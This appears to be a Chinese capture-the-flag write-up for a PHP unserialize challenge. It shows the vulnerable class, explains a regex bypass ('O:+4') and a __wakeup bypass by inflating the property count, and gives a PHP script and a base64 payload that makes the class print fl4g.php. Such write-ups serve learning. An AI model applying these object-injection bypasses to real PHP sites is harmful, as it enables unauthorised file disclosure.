3.Web_php_unserialize
1 <?php 2 class Demo { 3 private $file = 'index.php'; 4 public function __construct($file) { 5 $this->file = $file; 6 } 7 function __destruct() { 8 echo @highlight_file($this->file, true); 9 } 10 function __wakeup() { 11 if ($this->file != 'index.php') { 12 //the secret is in the fl4g.php 13 $this->file = 'index.php'; 14 } 15 } 16 } 17 if (isset($_GET['var'])) { 18 $var = base64_decode($_GET['var']); 19 if (preg_match('/[oc]:\d+:/i', $var)) { 20 die('stop hacking!'); 21 } else { 22 @unserialize($var); 23 } 24 } else { 25 highlight_file("index.php"); 26 } 27 ?>
解决两个问题:
1.绕过正则表达式(正则过滤了首字母为o或c,冒号,一个或多个数字,冒号,忽略大小写)
2.绕过—wake_up()函数 (使用+可以绕过preg_match() 正则匹配这里匹配的是 O:4,我们用 O:+4 即可绕过)
Demo类中的三个方法:
-
__wakeup()
该方法是PHP反序列化时执行的第一个方法 , unserialize()会先检查是否存在
__wakeup()
方法 , 若存在则会先调用该方法 , 来预先准备对象需要的资源( 比如重新建立数据库连接 , 执行其他初始化操作等等 ) -
__construct()
与其它 OOP( 面向对象 ) 语言类似 , PHP中也存在构造方法 , 具有构造方法的类会在每次创建新对象前调用此方法 ,该方法常用于完成一些初始化工作 .
-
__destruct()
析构方法 , 当 某个对象的所有引用都被删除 或者 当对象被显式销毁 时 , 析构函数会被执行 .
1 <?php 2 class Demo { 3 private $file = 'index.php'; 4 public function __construct($file) { 5 $this->file = $file; 6 } 7 function __destruct() { 8 echo @highlight_file($this->file, true); 9 } 10 function __wakeup() { 11 if ($this->file != 'index.php') { 12 //the secret is in the fl4g.php 13 $this->file = 'index.php'; 14 } 15 } 16 } 17 $A = new Demo('fl4g.php'); 18 $C = serialize($A); 19 //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}" 20 $C = str_replace('O:4', 'O:+4',$C);//绕过preg_match 21 $C = str_replace(':1:', ':2:',$C);//绕过wakeup 22 var_dump($C); 23 //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}" 24 var_dump(base64_encode($C)); 25 //string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==" 26 ?>
运行结果:
string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
payload:var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
作者:kali
-------------------------------------------
个性签名:纸上学来终觉浅,绝知此事要躬行。
如果觉得这篇文章对你有小小的帮助的话,记得在右下角点个“推荐”哦,博主在此感谢!